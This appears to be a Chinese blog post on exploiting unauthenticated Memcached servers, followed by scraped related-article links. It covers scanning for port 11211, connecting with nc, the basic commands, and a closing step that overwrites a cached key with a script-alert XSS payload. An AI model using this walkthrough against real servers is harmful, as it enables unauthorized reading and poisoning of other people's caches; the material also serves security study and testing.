Memcached 未授权漏洞利用
点击"仙网攻城狮”关注我们哦~
不当想研发的渗透人不是好运维
让我们每天进步一点点
简介
Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以开放在外网的Memcache服务很容易被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。
除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。
不同的是,在处理 前端用户直接输入的数据时一般会接受更多的安全校验,而从memcached中读取的数据则更容易被开发者认为是可信的,或者是已经通过安全校验的,因此更容易导致安全问题。
由此可见,导致的二次安全漏洞类型一般 由memcached数据使用的位置(XSS通常称之为sink)的不同而不同, 如:
(1) 缓存数据未经过滤直接输出可导致XSS;
(2) 缓存数据 未经过滤代入拼接的SQL注入查询语句可导致SQL注入;
(3) 缓存数据 存储敏感信息(如:用户名、密码),可以通过读取操作直接泄漏;
(4) 缓存数据 未经过滤直接通过system()、eval()等函数处理可导致命令执行;
(5) 缓存数据 未经过滤直接在header()函数中输出,可导致CRLF漏洞(HTTP响应拆分)。
… …
漏洞利用,文章最后有详细利用方法:
漏洞的利用根据所造成二次漏洞的不同,可在缓存变量中构造相应的payload。
针对memcached未授权访问漏洞缓存数据的抓取,可使用 go-derper工具。
实战
Memcached的默认端口是11211,可以使用nmap -sV或者fofa扫描发现该服务。
识别到端口后可以直接使用nc进行连接并执行查询命令,查看keys等操作。
缓存管理命令:
stats 命令的功能正如其名:转储所连接的 memcached 实例的当前统计数据。在下例中,执行 stats 命令显示了关于当前 memcached 实例的信息
flush_all 命令。这个最简单的命令仅用于清理缓存中的所有名称/值对。如果您需要将缓存重置到干净的状态。
基本增删改查命令:set、add、replace、get、delete
set 命令用于向缓存添加新的键值对。如果键已经存在,则之前的值将被替换。
set userId 0 0 5
12345
STORED
仅当缓存中不存在键时,add 命令才会向缓存中添加一个键值对。如果缓存中已经存在键,则之前的值将仍然保持相同,并且您将获得响应 NOT_STORED。
set userId 0 0 5
12345
STOREDadd userId 0 0 5
55555
NOT_STOREDadd companyId 0 0 3
564
STORED
仅当键已经存在时,replace 命令才会替换缓存中的键。如果缓存中不存在键,那么您将从 memcached 服务器接受到一条 NOT_STORED 响应。
replace accountId 0 0 5
67890
NOT_STOREDset accountId 0 0 5
67890
STOREDreplace accountId 0 0 5
55555
STORED
get 命令用于检索与之前添加的键值对相关的值。您将使用 get 执行大多数检索操作。
set userId 0 0 5
12345
STOREDget userId
VALUE userId 0 5
12345
ENDget bob
END
最后一个基本命令是 delete。delete 命令用于删除 memcached 中的任何现有值。您将使用一个键调用delete,如果该键存在于缓存中,则删除该值。如果不存在,则返回一条NOT_FOUND 消息。
set userId 0 0 5
98765
STOREDdelete bob
NOT_FOUNDdelete userId
DELETEDget userId
最后攻击利用方法:
1.比如有个网站会把相关信息缓存到Memcached数据库中
2.找到相应的键值
3.插入payload
delete names
set names 0 0 30
"/><script>alert('XSS')</script>
STORED
4.返回网页刷新成功执行,其他RCE、SQL注入等方法大致相同。
往期内容
灭世之Apache Log4j2 远程代码执行漏洞
CFT学习资源与工具上新
工具篇-BurpSutie Pro 2021.10.1最新版本
更多资讯长按二维码 关注我们
觉得不错点个“赞”呗
Memcached 未授权漏洞利用相关推荐
- Hadoop Yarn REST API未授权漏洞利用挖矿分析
目录 一.背景情况 二. 漏洞说明 攻击步骤: 三.入侵分析 四.安全建议 清理病毒 安全加固 五.IOCs 一.背景情况 5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统RES ...
- redis未授权漏洞的事前、事中、事后、特征信息
一.前言 Redis相关的漏洞存在很长时间了,仍然存在可以利用的情景,本次整理复现下redis相关的漏洞利用,以便以后遇到能够快速建立利用思路. 个人认为漏洞的说法并不严谨.因为其功能设计出来就是为了 ...
- Memcached 未授权访问漏洞验证
Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载. 该服务的端号为:11211 使用绿盟漏洞扫描系统发现某服务器存在Memcached 未授权访问漏洞,如下 ...
- 某OA ajax.do 未授权漏洞任意文件上传getshell复现
某OA ajax.do 未授权漏洞任意文件上传getshell复现 0x00 简介 某OA A8 是一款流行的协同管理软件,在各中.大型企业机构中广泛使用. 由于某旧版本某些接口能被未授权访问,并且部 ...
- CDH6.3.2防止被攻击,打补丁(未授权漏洞)
参考:CDH6.3.2Hadoop默认配置下存在未授权漏洞,禁止匿名访问 - 民宿 - 博客园 这段时间公司的运维大佬扫描安全漏洞的时候,发现有漏洞会被攻击,原因是没有新增用户校验,允许匿名去访问.这 ...
- redis 未授权访问利用 两种方式
1.未授权访问漏洞 Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下,会导致任意用户未授权访问Red ...
- 渗透测试:k8s的3种攻击手段(Kubernetes、未授权漏洞,端口:8080、6443、10250)
目录 一.概览 二.Kubernetes中的用户 三.渗透思路 1. k8s api-server 8080未授权 2. kubelet 10250端口未授权 3. Service acount 高权 ...
- Docker未授权漏洞复现(合天网安实验室)
简介 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用 ...
- mongodb未授权漏洞
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.mongodb是什么? 二.环境搭建 1.测试机器 2.靶场搭建 三.漏洞修复 前言 mongodb未授权访问,是指数 ...
最新文章
- Win32.Lioten.SG病毒
- jyphon 环境变量配置
- python给函数设置超时时间_在 Linux/Mac 下为Python函数添加超时时间
- self.view = nil 和[self.view release]的区别
- wxWidgets:窗口样式
- OpenGL通过Assimp加载模型
- Asp.Net Core 通过中间件防止图片盗链
- sap wad_使用网真和WAD热部署Kubernetes
- Online Judge系统常见返回信息分析
- Nginx 之父被捕,程序员如何避免面向起诉编程?| CSDN 博文精选
- Ubuntu的一些常用快捷键
- TensorFlow 语法及常用 API
- 常用数字集成电路引脚图
- Vmware 6.5.1正式版在Ubuntu 8.10下面运行非常缓慢的解决方
- Linux下的socket网络编程
- 2. PSR-2 --- 代码风格指南
- Echarts 3使用
- 论述多媒体技术和计算机技术的发展,多媒体技术的发展现状和未来.doc
- python批量修改文件后缀名
- PHP运行出现502是什么原因,php出现502错误怎么解决
热门文章
- Nuke python脚本开发 01
- AAC 编码基本说明
- SWUSTOJ #480 Locker doors
- 基于PromisesA+规范手写Promise
- java 获取手机联系人_Android 读取手机联系人、拨号、发送短信及长按菜单的操作...
- 某新商盟登录,js逆向:★★
- 112页PPT | 元宇宙的技术构成与未来展望(附下载)
- windows 删除docker
- android studio好卡换电脑(as2.1卡爆)
- 利用2台2450源表进行场效应管(FET)特性测量